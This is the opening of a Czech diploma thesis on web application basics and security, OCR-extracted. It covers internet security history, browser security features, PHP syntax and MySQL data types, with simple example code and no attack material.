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ABSTRAKT

Tato diplomova prace se zabyva zaklady tvorby a zabezpeceni webovych aplikaci.
V teoretické Casti je zaméfena na popis nejpouzivanéjSich programovacich jazykl pro
tvorbu webovych stranek. Ve druhé, praktické, Casti se zaméfi na ndzornou ukdzku
nastaveni serveru Apache vcetné jeho instalace s dirazem na bezpecnost aplikaci, které
jsou na serveru provozovany. Dale se také zabyva popisem nejznaméjSich utokl na
webové aplikace a metodami obrany proti nim. Tato prace ma slouzit jako informacni
médium pro zacinajici webkodéry a upozornit na bezpecnostni mezery, které pii tvorbé

webu mohou vznikat .

Kli¢ova slova: web, webové stranky, server, bezpecnost, zabezpeceni, Apache, MySQL,

PHP, XSS, Injection

ABSTRACT

This dissertation investigates the basics of creating and securing web
aplications. Theoretical part concentrates on the most frequent languages for creating
internet pages. Practical part examine object lesson of setting Apache server, including his
instalation with accent on securing aplications. Currently is this dissertation describing the
most popular ways to attack the web sites and the ways how to defend. The main purpose
of this paper is to inform beginer webcoders and notify of security risks, which can occur

during web creating.

Keywords: web, web pages, server, security, Apache, MySQL, PHP, XSS, Injection
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,,Z niceho se neda délat véda, ani z vedy ne, natoz ze zivota. Kdyz uz clovek jednou je, tak
ma koukat aby byl, a kdyz kouka aby byl a je, tak ma bejt to co je a nema bejt to co neni,

jak tomu v mnoha pripadech je. *

Jan Werich
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UvVOoD

Tato diplomova prace ma pomoci zacinajicim webkodérim a webmasteriim a zasvétit je do
zéklada psani, a bezpecnosti webu. Popise zakladni moznosti tvorby webu a poukaze na
bezpecnostni chyby, které mohou v zacatcich kédovani webu nastat. Prvni ¢ast prace se
zam&ii na popis prostiedkd pro praci s webovymi aplikacemi a prezentacemi. Znat

strukturu téchto prostfedkt je dulezité pro pochopeni principti zabezpeceni.

Bezpecnostni technologie se daji zasadit snad do kazdé oblasti naseho Zivota a svéta, ve
kterém zijeme, nevyjimaje informacni technologie. V tomto ptipadé konkrétné technologie

pro provozovani internetovych stranek, internetovych aplikaci a internetu obecné.

Dnesni doba novych technologii zvySuje pocitaovou gramotnost a také ,,pohodlnost* lidi
uzivajicich internetové moznosti ndkupu prakticky jakéhokoli zboZi. Spousta podnikil
dokonce rusi kamenné prodejny a nabizi své produkty a sluzby jiz vyhradn€ na internetu.
Zde prichazi otdzka vyuziti a zabezpeceni téchto sluzeb versus moznosti zneuziti osobnich
udaji k nekalym ucellim, nevyZadané reklamé a dalSim nepifijemnostem. V nejhorSim
pfipadé mizZe dochézet také k naruSeni soukromi, ¢i finanénim ztratdm. Tato témata jsou

vSak sama o sob¢ tak rozsahld, ze by vyrazné piekracovala ramec této prace.

Dalsi ¢ast tohoto dokumentu se bude zabyvat nastavenim webového serveru Apache

Z hlediska provozuschopnosti a zabezpeceni.

Cilem prace je pfehlednou formou ctenafi piedat uceleny prehled nejcastéjSich utoki na
bézné webové aplikace s vystiznym popisem a moznosti si je vyzkouset. Pokud nebude
nezbytné nutné uvadét piimo kody, budou zde uvedeny odkazy na internetové stranky a
literaturu zabyvajici se problematikou zabezpeceni stranek, kde jsou moznosti obrany proti

témto utoklim rozebrany z profesionalniho hlediska.
Hlavnim cilem je tedy aby c¢tenaf po precteni této prace ziskal povédomi o rizikach
internetu, internetovych stranek a prostfedcich a moznostech, jak témto rizikiim piedejit a

brénit se proti nim.
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. TEORETICKA CAST
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1 BEZPECNOST INTERNETU

O Internetu je v§eobecné zndmo, Ze ptivodné vzniknul jako vojensky experiment (ve forme
zarodecné sité jménem ARPAnet, ke které se pozdéji ptipojovaly dalsi sité, az se postupné
zrodil dnes$ni Internet). Zajimavé ale je, co bylo cilem tohoto experimentu: ovefit moznost
vybudovani takové sité, ktera by dokéazala prezit i atomovy uder nepfitele, a jeji
nezasazené casti dokazaly alesponl néjak rozumné fungovat. Tento pozadavek se nakonec
podaftilo naplnit, vybudovanim maximalné robustni sit¢ bez jakychkoli centralnich prvki
(které by nepfitel zajisté zneSkodnil jako prvni). Velké robustnost a absence centralniho
prvku pak zustala Internetu az do dne$nich dnti, a pravé diky t€émto vlastnostem Internet
dokéze fungovat i v situaci, kdy nékteré jeho dil¢i ¢asti maji problémy a jsou mimo

provoz.

Z pohledu bezpecnosti je ale dilezité, Ze pii volbé celé koncepce budouciho Internetu
nebyl nastolen explicitni pozadavek na vyraznéjsi zabezpeceni - v dob¢ kdy uz bouchaji
bomby by néjaké utajovani uz stejné nebylo k nicemu. Proto se budouci Internet zrodil
jako sit’ bez zabudovanych mechanismil zabezpeceni. Konkrétnim projevem bylo naptiklad
to, Ze ptfenosové mechanismy pouzivané v rdmci Internetu (tj. zejména protokol IP na
urovni sitove vrstvy a protokoly transportni vrstvy) se samy nesnazi jakkoli Sifrovat,

kodovat ¢i jinak zabezpecovat pfenaSena data proti neopravnénému odposlechu.

S postupem c¢asu pak zacal Internet piechéazet vice a vice do rukou akademické sféry, ktera
nakonec (kolem roku 1986) ptevzala od armady i financovani pateini ¢asti Internetu. Ani
akademicka sféra vSak neméla vyraznéjsi poZzadavky na zvySeni miry bezpecnosti
Internetu, resp. na zabudovani potfebnych zabezpecovacich mechanismi do protokolil
TCP/IP, které Internet ke svému fungovani pouziva. Presnéji: jeji poZadavky na zvySeni
bezpecnosti Internetu nebyly tak vysoké, aby zdtivodnily relativné ndkladné a slozité

zmeny, které by bylo potieba provést.

Kdyz se pak kolem roku 1990 Internet zacal otevirat komerénimu vyuziti, a jeho otéze
zacala do svych rukou ptebirat komercni sféra, otazky bezpecnosti nahle ziskaly zcela
novou dimenzi: pozadavky komer¢ni sféry na miru bezpecnosti Internetu byly samoziejmée
schopnost komer¢ni sféry investovat potfebné finanéni prostiedky do Internetu a do

zvyseni jeho bezpecnosti.
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S postupem casu se ale zacalo stale jasn&ji ukazovat, ze zvyseni bezpecnosti Internetu neni
az tak technickym problémem: pomérné brzy se objevila hned celd fada moznych
technickych feSeni. Problém byl spiSe v tom, jakou aplikovat celkovou koncepci a strategii
zvySovani bezpecnosti, jaka dostupnd technicka feseni zvolit, jak najit konsensus mezi
vSemi zainteresovanymi stranami o zvoleném feseni, jak ho standardizovat a jak ho

prosadit do praxe. Tento proces bohuzel neni ani dnes zdaleka dokoncen.

Jak bylo jiz feceno, tento dokument ma slouzit jako ptirucka pro zacinajici webkodéry, ma
jim pomoci zorientovat se Vv nepieberném mnozstvi moznosti, které trh nabizi a bude
usilovat o to, aby jednoduse a ptehledn¢ nastinil zaklady psani a bezpecnosti webovych

aplikaci’.

Tato kapitola vysvétluje zédkladni pojmy, které by mél znat kazdy zacatecnik, nez se pusti
do tvorby webovych prezentaci. Dale nabizi vyCet programovacich jazyku, které lze pro
psani webu vyuzit. Nékteré znich popisuje podrobnéji. Konkrétné to budou PHP
(HYPERTEXT PREPROCESSOR) a SQL (STRUCTURED QUERY LANGUAGE),

jazyk pouzivany pro praci s daty v rela¢nich databazich.

1.1 Zakladni pojmy

Pro pochopeni souvislosti a pro orientaci v nasledujicich kapitolach 1 dalSich textech je

tieba vysvétlit zakladni pojmy tykajici se webu

e HTML - HyperText Markup Language, je znackovaci jazyk pro hypertext. Je
jednim z jazykt pro vytvareni stranek v systému World Wide Web, ktery umozituje

publikaci dokumentii na Internetu.

e XHTML - zkratka anglického extensible hypertext markup language -
,rozsifitelny hypertextovy znackovaci jazyk*) je znackovaci jazyk pro tvorbu

hypertextovych dokumentii v prosttedi WWW vyvinuty W3C.

L www.owasp.org/
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e PHP - je v soucasnosti velmi rozsifena technologie umoziujici snadné
programovani na stran¢ serveru (server-side programming). Toho lze vyuzit k
tvorbé riiznych interaktivnich webovych stranek. Stru¢né 1ze fici, ze skript napsany
v PHP je proveden na serveru podle zadanych kritérii a vysledek je odeslan
volajicimu pocitaci stejnym zpiisobem, jakym se odesilaji bézné statické¢ (XHTML)
dale ménit.

e SQL - Za zkratkou SQL je schovan nazev Structured Query Language a jedna se o
neproceduralni jazyk. (Pomoci proceduralniho jazyka fikdme, jak chceme konkrétni

véc provést, pomoci neproceduralniho jazyka naopak fikame, co chceme provést.)

e CSS - Obecné teceno, CSS je zapis, ktery urcuje vzhled (barvy, dekoracni obrazky,
rozmisténi prvki). UmoZnuje jednoduSe a efektivné ménit graficky styl prostého
textu strukturovaného pomoci HTML. CSS je zkratka slov Cascading Style Sheets.
Do ¢estiny bychom to pielozili jako Tabulky kaskadovych styli. V praxi se pak
Castéji pouzivaji tyto nazvy: Kaskadové styly, styly, CSS soubor(y).

e Databaze - Databazi si lze pfedstavit jako soubor dat, ktery slouzi pro popis
redlného svéta (napf. evidence Skolni knihovny, sklad chemikalii, evidence
studenttl). Entita je prvek realného svéta (napt. ¢lovek, stroj, vyu€ovany predmeét,
mésto), ktery je popsan svymi charakteristikami (vlastnostmi). Ty se vétSinou

povazuji za atribut (napf. jméno, piijmeni, stav, plat, hmotnost).

e Server — Jednoduse by se dalo fici, Ze server je sitovy pocitac poskytujici sluzby
ostatnim uzivatelim této sité. Jina definice by mohla znit takto: Server je v
informatice obecné oznaceni pro pocitac, ktery poskytuje néjaké sluzby nebo

pocitacovy program, ktery tyto sluzby realizuje.

e WWW - Word Wide Web V cestiné se slovo web Casto pouziva nejen pro
oznaceni celosvétové sité dokumenti, ale také pro oznaceni jednotlivé soustavy
dokument dostupnych na tomtéz webovém serveru nebo na téze internetové

v

doméné¢ nejnizsiho stupné (webové strance).

e Browser - (prohlizec). Program, s jehoz pomoci je mozné prohlizet nejrizné;si
zdroje Internetu. Browser umi internetovy zdroj nalézt, na¢ist a zobrazit ve svém

hlavnim okné.


javascript:void(0)
http://cs.wikipedia.org/wiki/Webov%C3%BD_server
http://cs.wikipedia.org/wiki/Internetov%C3%A1_dom%C3%A9na
http://cs.wikipedia.org/wiki/Internetov%C3%A1_dom%C3%A9na
http://cs.wikipedia.org/wiki/Internetov%C3%A1_str%C3%A1nka
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1.2 Browsery

Definice, nebo spiSe kratké vysvétleni toho,co je webovy prohlize¢ je vysvétleno vyse.
Kazdy se v Zivoté jisté setkal s internetovymi prohliZeci, neboli Browsery. Urcité tedy stoji
za zminku  jaké
browsery a v jakém
procentu jsou na
dneSnich pocitacich
pouzivany. Dalsi
zajimava informace

mize  byt, jak

browser zabezpecit.

V nasledujicim grafu je vidst, v jakém poméru jsou prohlizede stranek vyuZivany®. Tato
informace je pouze doplitkova, Nicmén€ mize pomoci webcodérovi rozhodovani, na ktery
Browser se v oblasti bezpecnosti nejvice zaméfit. V ndsledujicim textu budou osvétleny

moznosti zabezpeceni, které nabizeji webové Browsery.

1,10%

B Microsoft Internet
Explorer

2,50% ‘ 0,70%
5,10%

B Mozilla Firefox
® Opera
W Safari
B Google Chrome

m Ostatni

Graf 1: Zastoupeni Browsert na trhu 2009

2 http://www.religis.cz/valka-internetovych-prohlizecu/
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1.3 Maly priivodce prohliZeci a jejich zabezpecCenim

Z pohledu vyvojaia webovych aplikaci je nutnosti otestovat své vytvory alespon

V nejbézngjsich prohlizecich, kterymi podle vyse uvedenych statistik jsou:

e Windows Internet Explorer 8
e Mozilla Firefox 3.6

e Opera10.50

o Google Chrome 4

Dtivodem tohoto testovani je, ze interpretace kodu v jednotlivych softwarech pro
zobrazovani webovych stranek je odlisna. Proto je nutnosti kod pro tyto browsery
optimalizovat. Pro ukdzku je nize uvedena ¢4ast optimalizovaného kédu pro vloZeni

flashové animace do stranky.

<div id="flashDiv" style="width:1000px" >
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-
444553540000"
width="1000" height="600" id="flashcontent">
<param name="movie" value="POPl.swf" />
<param name="wmode" value="transparent" />
<!--[if !IE]>-->
<object type="application/x-shockwave-flash"
data="POP1l.swf"
width="1000" height="600" id="flashcontent">
<param name="wmode" value="transparent" />
<!l-—<![endif]-->
<a href="http://www.adobe.com/go/getflashplayer">

<imgsrc="http://www.adobe.com/images/shared/download buttons/

get flash player.gif" alt="Get Adobe Flash player" />
</a>
<!——[if !IE]>-->

</object>

<!-—<![endif]--—>
</object>
</div>

Jak je patrné z ptikladu, je tfeba rozliSovat vloZeni animace naptiklad v aplikaci Internet

Explorer (dale jen IE) a ostatnich prohlize¢ich.


view-source:http://www.adobe.com/go/getflashplayer
view-source:http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif
view-source:http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif
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Vysvétleni:
<!——[1if !IE]>--> <!-—<![endif]-->

Znacky slouzi i identifikaci prohlize¢e pro spravné zobrazené vlozeného obsahu. Cili

napiiklad pro IE je tfeba zadat jiny kod pro zobrazeni, nez pro ostatni Browsery.

Hlavnim cilem této kapitoly je vSak nastinit moznosti zabezpeceni téchto prohlizect.
Zabezpeceni se v jednotlivych verzich Browsert lisi. Je tedy tfeba se zaméfit na konkrétni

Verze.

Resenim zabezpeéeni Internetového prohlizede miize byt napiiklad zvoleni toho, ktery je

nejméng pouzivany a tedy i nejméné napadany. Otazkou vSak zlstava, které bezpe€nostni

vvvvvv

YV w v

zaméfit pouze na vybér nejbéznéjsich a nejpouzivanéjSich Browserl , a to téch nize
uvedenych.

1.3.1 Internet Explorer ?
Vznik prohlizece: 1995
Platforma: PC i MAC
Aktuélni verze: 8

Pozice na trhu: 1.

Cena: Zdarma
Vyvoj: Microsoft
Bezpecnost: Malware, Phishing, ...

Vice na: http://www.microsoft.com/

% http://www.microsoft.com/
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1.3.2 Mozilla Firefox’
Vznik prohlizece: 2004
Platforma: PC, Mac OS, Linux
Aktuélni verze: 3.6

Pozice na trhu: 2.

Cena: Zdarma
Vyvoj: Mozilla Foundation

Bezpecnost:  Okamzité ovéfeni stranek,

Anonymni prohlizeni, Zapomenuti stranky...

Vice na: http://www.mozilla-europe.org/en/firefox/features/#security

1.3.3 Opera’

Vznik prohlizece: 1994
Platforma: PC, Mac OS, Linux
Aktudlni verze: 10.50

Pozice na trhu: 3.

Cena: Zdarma
Vyvoj: Opera Software
Bezpecnost: Viry, Spyware, downloady...

Vice na: http://www.opera.com/browser/tutorials/security/

1.3.4 Google Chrome®

Vznik prohlize¢e: 2008

* http://www.mozilla-europe.org/en/
> http://www.opera.com/
® http://www.google.com/chrome/?hl=cs
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Platforma: PC, Mac OS, Linux
Aktualni verze: 10.50

Pozice na trhu: 4.

Cena: Zdarma

Vyvoj: Opera Software

Bezpecnost: [zolovany prostor (sandbox), Automatické aktualizace...

Vice na: http://www.google.com/chrome/intl/cs/more/security.html

Ptredchozi vycet prohlize¢ti samoziejm¢ neni kompletni, avSak ukazuje nejpouzivanéjsi
Browsery, a dulezit¢ informace o nich. U kazdého znich je uvedeno nékolik
bezpe¢nostnich opatieni a také hypertextovy odkaz, kde je mozné se dozveédét vice
informaci o jejich zabezpeceni. Kazdy vyrobce samoziejmé také nabizi mnoZstvi

pridavnych modultl, které mohou jesté zvysit uroven zabezpeceni.

Vsechny popisované webové prohlizece ,,trpi“ bezpecnostni zranitelnosti bez rozdilu.
Proto se pro né€ objevuji bezpe€nostni aktualizace. Zajimavou informaci je, Ze se v ptipadé
Internet Exploreru se Cislo verze po bezpeCnostni aktualizaci neméni (subverze nikdo
nesleduje a ve vysledku se tak vyvoj prohliZzece jevi na oko bez zaplat), u ostatnich dochézi
1 ke zméné Ciselného oznaceni. Microsoft vydava aktualizace zpravidla jednou za mésic,
vyrobci ostatnich prohlizecl zvefejiuji nové verze bud’ ihned po nalezeni problému a
vytvofeni opravy, nebo po n€kolika dnech, kdy zapracuji jesté néjaké dalsi nové funkce a

v 7
vylepSeni.

Ktery z prohlizeci je tedy nejlepsi volbou? O této otdzce se vedou nekonecné spory mezi
ptiznivci jednotlivych browserti. Kazdy je potencidlng zranitelny. Je tedy na uzivateli,
kterému z nich da piednost. Z celkového pohledu na véc je podle odborniki dulezité, aby

,bezpecny browser* spliioval vétsi ¢ast z nasledujiciho seznamu vlastnosti.

" http://extrawindows.cnews.cz/nejlepsi-internetovy-prohlizec-soucasnosti-je?page=0,1


http://www.google.com/chrome/intl/cs/more/security.html
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Bezpecny browser:

¢ Byl naprogramovan pomoci technik pro Security Development Lifecycle
(SDL).

e Prosel revizi kodu a procesem fuzzingu.

e Logicky separuje sitové a lokalni bezpe¢nostni domény.

e Zabranuje snadné vzdalené kontrole.

e Zabrailuje pfesmérovani na nebezpecné stranky.

e Ma bezpecna defaultni nastaveni.

e Dovoluje uzivateli potvrzovat jakékoliv stazeni ¢i spusténi souboru.

e Zabranuje nesrozumitelnosti URL.

e (Obsahuje funkce proti pteteceni zdsobniku.

e Podporuje bézné bezpecnostni protokoly (SSL,TLS atd.) a Sifry (3DES, AES,
RSA, apod.).

e Nabizi automatické zaplatovani a aktualizace (se svolenim uzivatele).

e Umi blokovat pop-up okna.

e Pouziva antiphishingovy filtr.

e Brani zneuziti webovych cookies.

e Zabranuje snadnému URL spoofingu.

e Podporuje bezpecnostni zony/domény pro to izolaci daveéryhodnosti a
funkcionality.

e Chrani webové ptihlaSovaci Gdaje uzivatele béhem jejich uloZeni 1 pouZiti.

e Dovoluje snadné spousténi i vypinani doplnkii.

e Poskytuje kontrolu soukromi.

e Byl otestovan v praxi a vystaven po dostate¢né dlouhou dobu Utokim hackert.

e Zabranuje nevzzadanému otevirani oken (nechténd reklama...)
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1.3.5 Shrnuti

Kazdy webovy browser obsahuje nékolik bezpe¢nostnich vyhod a nevyhod. Vsechny
standardné nabizeji podporu SSL/TLS (Secure Sockets Layer/Transport Layer Security),
antiphishingové filtry, blokovani pop-up reklam, filtrovani cross-site scripti (XSS),
automatizované aktualizace, prohlizeni privatnich sessions ¢i zpracovani cookies. Je tedy

na uzivateli, ktery webovy browser bude vyuzivat.

Po vybéru prohlizece, ktery uzivateli nejlépe vyhovuje je vSak nasnad¢ jej zabezpecit.
Nasledujici vycet ukazuje nekolik tipt, které pomohou zajistit vyssi bezpecnost prohlizeni

internetovych stranek®.

o Ujistéte se, ze jsou browser, OS a vSechny dopliiky a plug-iny plné
zaplatovany. (Browsery i systém automaticky nabizeji aktualizace)

e Jste-li neCekané vyzvani k instalaci softwaru tfeti strany pti prohlizeni webu,
oteviete si nové okno/zalozku a stahnéte si vyzadovany software piimo z webu
jeho vyrobce.

e Bud’te obezietni, které plug-iny pouZzivate. Mnohé z nich nejsou zabezpecené,
mnohé dokonce velmi nezabezpecené a n¢které ve skutecnosti predstavuji

malware Vv prestrojeni.

® Security World 2/2009
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2 PERSONAL HOME PAGE ANEB PHP: HYPERTEXT
PREPROCESSOR

2.1 Uvod a prostiedKy pro psani PHP skripti

PHP je programovaci jazyk umoziujici
vytvafeni dynamickych webovych stranek.
Byl vytvofen v roce 1994 Rasmem
Lerdorfem. Je to skriptovaci jazyk, ktery se

provadi na strané serveru. Je na serveru

zavisly, protoze na ném bézi jeho
interpreter, ktery skripty provadi. Samotné
PHP skripty se zapisuji pifimo do kodu
HTML stranky (nejcastéji se ukladaji pfiponou *.php).

PHP bézi na webserveru proto je tfeba mit webserver naistalovany na pocitaci (tzv.
localhost napi. Apache, Xampp nebo jiny), nebo uploadovat své stranky piimo na realny
server. Skripty PHP lze psat v mnoha tomu urcenych editorech napt. TSW webcoder,
Macromedia Dreamweaver, NuSphere editor, ale také piimo v Poznamkovém bloku.
OvsSem az na notepad jsou vSechny uvedené editory licencované. Na internetu je vSak

mozno nalézt mnoho ,,freeware* editort, které ale nemusi byt tak propracované.

2.2 Kostra PHP skriptu

Soubor je tvoren kousky HTML a PHP skripti. HTML kéd se posila pifimo browseru, ¢ast
v PHP se interpretuje na strané serveru a do uZivatelova prohlizece se posila pouze vystup

skriptu. To je to, co skript vypisuje na standardni vystup (napft. piikazem echo).

Zacatek PHP skriptu za€ina znackou pro opuSténi HTML a kon¢i znackou pro navrat do

HTML:

<?php ?> nebo <? ?> nebo <script language="php"> </script>
Priklad zapisu:

<?php

echo ("toto je vypis na standardni vystup");
?>
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2.3 Prikazy a proménné

Piikazy PHP musi byt od sebe logicky oddéleny pomoci stiednikti nebo tagi. Piimo do
skripti 1ze také psat poznamky, které nejsou soucasni samotného kodu, maji pouze
popisnou funkci. Takovy popisny text je umisten mezi znaky // a koncem aktudlniho

radku. Je povazovan za poznamku, stejné tak jako text mezi /* a * /.

Pfi psani proménnych je nutné rozliSovat mala a velka pismena. Pfi psani ptikazi lze
pouzivat malé i velka pismena libovolné. Proménné nemusi byt deklarovany piedem a k
jejich zapisu se pouzivd znak $ a za nim nasleduje ndzev proménné. Proménné slouzi k
uchovani hodnot pouze v rdmci skriptu. V proménné Ize uchovat hodnotu jakéhokoli typu.

PHP si samo urci datovy typ hodnoty.
Priklad zapisu:

Sa=1; S$Sb=1.0; Sc= Sa+S$b;

2.3.1 Globalni proménné

Od verze 4.1.0 poskytuje PHP sadu pteddefinovanych poli obsahujicich proménné
WWW serveru (pokud to jde), prostiedi a uzivatelského vstupu. Tato nova pole maji tu
zvlastnost, Ze jsou globalni — tedy napt. automaticky dostupné v kazdém kontextu. Z
tohoto diivodu jsou cCasto znama jako ,autoglobalni nebo ,superglobalni“ (v PHP
neexistuje mechanismus pro uZivatelskou definici superglobdlnich proménnych).

Superglobalni proménné jsou vypsany nize.

SGLOBALS - obsahuje odkaz na kazdou proménnou, kterd je momentdln¢ dostupna v

globalnim kontextu skriptu, kli¢i tohoto pole jsou ndzvy globalnich proménnych

$ SERVER - proménné nastavované WWW serverem nebo jinak piimo spjaté s

provadécim prostfedim aktualniho skriptu

$ GET - proménné poskytované skriptu pies HTTP GET

$ POST - proménné poskytované skriptu pies HTTP POST

$ COOKIE - proménné poskytované skriptu pres HTTP cookies

$ FILES - proménné poskytované skriptu pfes HTTP post uploady soubori

$ ENV - proménné poskytované skriptu z prostiedi pod kterym PHP béZzi
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$ REQUEST - proménné poskytované skriptu pfes libovolny vstupni mechanismus a

kterym proto nelze divérovat

$ SESSION - proménné, které jsou momentalné registrovany v aktudlni relaci skriptu

2.3.2 Prikazy, podminky a cykly

Ptikazy se vzdy musi nachazet uvnitt PHP znacek. Jsou oddélené stfednikem, resp. kazdy

ptikaz PHP je stfednikem ukoncen. Jde prakticky o stejnou strukturu jako v jazyce C.

Podminéné prikazy:
if — slouzi k podminénému provedeni ptikazu, pokud je splnéna urcitd podminka, ta se
musi zadat jako vyraz, ktery vraci logickou hodnotu.

if (Sy!=0) Svysledek=$x/Sy;

if-else —ptikaz uvedeny za else se provede v ptipad€ nesplnéni podminky.

if ($ x > $ y) echo ,Spravne";
else echo ,Spatné&";

if-elseif-else — piikaz uvedeny za elseif se provede v piipadé, Ze neni splnéna

podminka pro if a zaroven je splnéna podminka za elseif.

if ($x<$y) echo (,x Jje menSi nez y");
elseif ($x==Sy) echo ,x rovna se y";
else echo ,x je véts$i nez y";

switch — na zéklad¢ hodnoty jednoho vyrazu se provede jedna z nékolika vétvi skriptu.
Nejprve je vyhodnocen vyraz, poté jsou postupné prochdzeny hodnoty uvedené za
klicovym slovem case, dokud se nenalezne hodnota shodna s hodnotou vyrazu, nasledné

jsou vykondvany piikazy dokud nenarazi na break nebo konec piikazu switch.
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Priklad zapisu:

switch ($1i) {

case 0: print "i se rovna 0"; break;
case 1l: print "i se rovna 1"; break;
case 2: print "i se rovna 2"; break;
default: print "i se rovna 2"; break;

}

Cykly

while — provadi zadany ptikaz dokud plati urcita podminka, patii mezi nejjednodussi
ptikazy.

$1 = 0;

while ($1 < 10) {

echo "$i1<BR>";
Sit++;

do-while — je pfikaz podobny while, avSak podminka je aZ na konci cyklu, ptikazy v

tomto cyklu jsou vykonéany aspon jednou oproti cyklu while, kde nemusi byt provedeny

ani jednou.
$i = 0;
do{

echo "$i"; S$i++;
}while (Si < 10);

for — pred zacatkem provadéni cyklu je vyhodnocen vyrazl, poté vyraz2 — pokud je
jeho vysledek druhého vyrazu vyhodnocen jako true, provede se télo cyklu, na konci se

vyhodnoti vyraz3. Té¢lo cyklu se provadi tak dlouho, dokud ma vyraz2 hodnotu true.
for ($i = 1; $i <= 10; ++$1i)

echo (,%1i%);

Existuji téZ ptikazy, kterymi lze ovlivnit co a kdy se v cyklu vykona. Jsou to nasledujici:
break — okamzité ukonceni provadéni cyklu

continue — okamzité preskocCi ptikazy ve zbyvajici Casti téla cyklu a zacne provadét

dalsi iteraci
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PHP daéle obsahuje ptikazy, které slouzi k nacteni externich skripti.

require — slouzi k nacteni skriptu ze souboru

include — stejny jako require, rozdil je v tom, ze jeden piikaz lze volat n¢kolikrat,

napf. uvnitt cyklu.

2.4 Datové typy

PHP, stejn¢ jako jakykoli jiny programovaci jazyk, dokéze zpracovéavat nejriznéjsi data.
Protoze se ale s riznymi daty pracuje rizné (napfi. pfi praci s realnym cislem se pouzivaji

jiné funkce, nez pii zpracovani textového fetézce), existuji v PHP tzv. datové typy.

PHP rozlisuje celkem 8 jednoduchych typu: boolean (pro hodnoty PRAVDA -
NEPRAVDA), integer (cela cisla), float (Cisla s plovouci desetinnou ¢arkou), string

(textové fetézce), array (pole), object, resource a NULL.

PHP se od fady programovacich jazyku (naptf. Pascal nebo C) 1isi tim, Ze neni tfeba typ
proménné nijak nastavovat, nebo se o n¢j vibec zajimat. PHP jej vétSinou uréi samo z

kontextu, ve kterém je dana proménna pouzita (a z informaci, které v ni jsou uloZeny).

Boolean - slouzi k uloZeni hodnot true nebo false (pravda nebo nepravda). False lze
vyjadiit ¢islem 0 (pfipadné prazdnym fetézcem), true pak jakymkoli jingym nenulovym

¢islem nebo neprazdnym fetézcem.

Integer - celé ¢islo v rozsahu od -2 147 483 648 do 2 147 483 647
Double - desetinné Cislo v rozsahu od -1,7x10308 do 1,7x10308
String - hodnotou je znakovy fetézec

Array - proménnd, kterd obsahuje vice hodnot. Hodnota se vyvolava pomoci indexu prvku

pole
Index - indexy se zapisuji do hranatych zavorek za nazev proménné

Object — hodnotou tohoto datového typu je objekt
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2.5 Ridici struktury (SMARTY)

Stejné¢ jako v samotné aplikaci, ipii prezentaci Udaji adat je nutné Casto vyuZzivat
podminek a cyklu. Zjednodusena podoba téchto tidicich piikazu je k dispozici i v systému.
Pfi vytvafeni Sablon Ize pouzit podminky i cykly typu "for" a"foreach". Zakladnim
formatem alternativni syntaxe je zdmeéna otviraci zavorky za dvojteCku (:) a uzaviraci

zavorky za endif;, endwhile;, endfor;, endforeach;, resp. endswitch;.
Priklad zapisu:

<?php if ($a == 5): ?> A se rovnad 5 <?php endif; ?>

2.6 Funkce

Funkce jsou v podstaté kratké ¢asti skripti, které je mozné opakované pouzivat, do funkce

muze byt vlozen jakykoli platny PHP kod.

Klicové slovo function ukazuje, Ze jde o deklaraci funkce. Je vyhodné;jsi psat nazev
funkce bez diakritiky. Pfedem definované funkce nikdy nemaji Cesky nazev, pokud
nahodou funkce bude mit shodny nazev s nékterou jiZz definovanou, skript by mohl
fungovat chybné (return, close, open). Kulaté zavorky ,, ( ) “ definuji, zda se jedna
o funkci s parametrem, nebo bez (prazdné zavorky = bez parametru). Slozené zavorky,,{ }

ohranicuji deklaraci a obsah funkce.
Priklad zapisu:

function vypocet ()

{
SGLOBALS["x"] = 10;
Sy = 20;

}

$x = 100;

$y = 200;

vypocet () ;

$vysledek = $x + Sy;

echo $vysledek;
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Funkce bez parametru

Nema uvnitt zavorek zadny argument (proménnou):

Funkce s parametrem

Funkce vracejici hodnotu
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3 SQLSTRUCTURED QUERY LANGUAGE

SQL patfi do kategorie tzv. deklarativnich programovacich
jazyku - kod jazyka SQL neni psan v zadném samostatném

programu, ale je vkladan do jiného programovaciho jazyka, ktery je

jiz proceduralni.

Se samotnym jazykem SQL lze pracovat pouze v piipadé, ze je
pomoci termindlu pfipojen na SQL server a na piikazovy fadek se zadavaji ptimo ptikazy
jazyka SQL.

3.1 Casti SQL

SQL se sklada z nékolika ¢asti:

e Jazyk DDL - Data Definition Language - jedna se o jazyk pro vytvaieni

databazovych schémat a katalogi
e Jazyk SDL - Storage Definition Language - definuje zptisob ukladani tabulek

e Jazyk VDL - View Definition Language, urCuje vytvareni pohledi (pohled si lze

piedstavit jako virtualni tabulku sloZenou z riznych jinych tabulek)

e Jazyk DML - Data Manipulation Language - obsahuje zakladni piikazy INSERT,

vvvvvv

3.2 Navrh tabulky

Zakladem kazdé databaze jsou tabulky, které popisuji n€jakou entitu. Tabulka se sklada ze
sloupcii a poli, které se nazyvaji atributy a voli se takové vlastnosti, které nas o dané entité
zajimaji.

Podle pravidel v MySQL se K pojmenovani sloupci pouzivaji alfanumerické znaky a

podtrzitka.
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Nazev sloupce Priklad

id cslo 128

jmeno Jan

prijmeni Jansky

firma ABC

email jansky(@abe.cz
datum registrace | 2004-02-04

Obrazek 1 - Navrh tabulky

3.3 Datové typy sloupct

V MySQL existuji 3 hlavni typy jednotlivych datovych poli. Jsou to textové, Ciselné a

casové datové typy. V ramci hlavnich datovych typil pak existuje fada specifikaci :

3.3.1 Ciselné datové typy

Nazev typn Pamét'ovy prostor (B) Interval Bez znaménka
TINYINT 1 -128 do 127 0-255
SMALLINT 2 23768 do 32767 0 - 56535
MEDIUMINT 3 -8388608 do 8388607 0- 16777215
2147483648 do
y — 4294967295
INT 4 2147483647 0 — 4294967295
-9223372036854775808 0
do
; 4467440737095
BIGINT 8 0233720568547 184467440737095
: 50615
5807
iy ) Ligi se podle ponzitych
FLOAT(M,D) 4 . B
’ Ldgi se nodle ponzitych B
DOUBLE(M,D) 8 o
DECIMAL(M,D) Hodnota M + 2B Lisi se podle ‘:M'@m -

Textové datové typy

Obrazek 2 - ¢iselné datové typy v SQL
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Nazev datového typn Maximdalni velikost Piidéleni paméf’
CHAR(X) 255B XB
VARCHAR(X) 255B X+1B
TINYTEXT 255B X+1B
TINYBLOB 255 B X+2B
TEXT 65535 B X+2B
BLOB 65535 B X+2B
MEDIUMTEXT 1,6 MB X+3B
MEDIUMBLOB 1,6 MB X+3B
LONGTEXT 4,2 GB X+4B
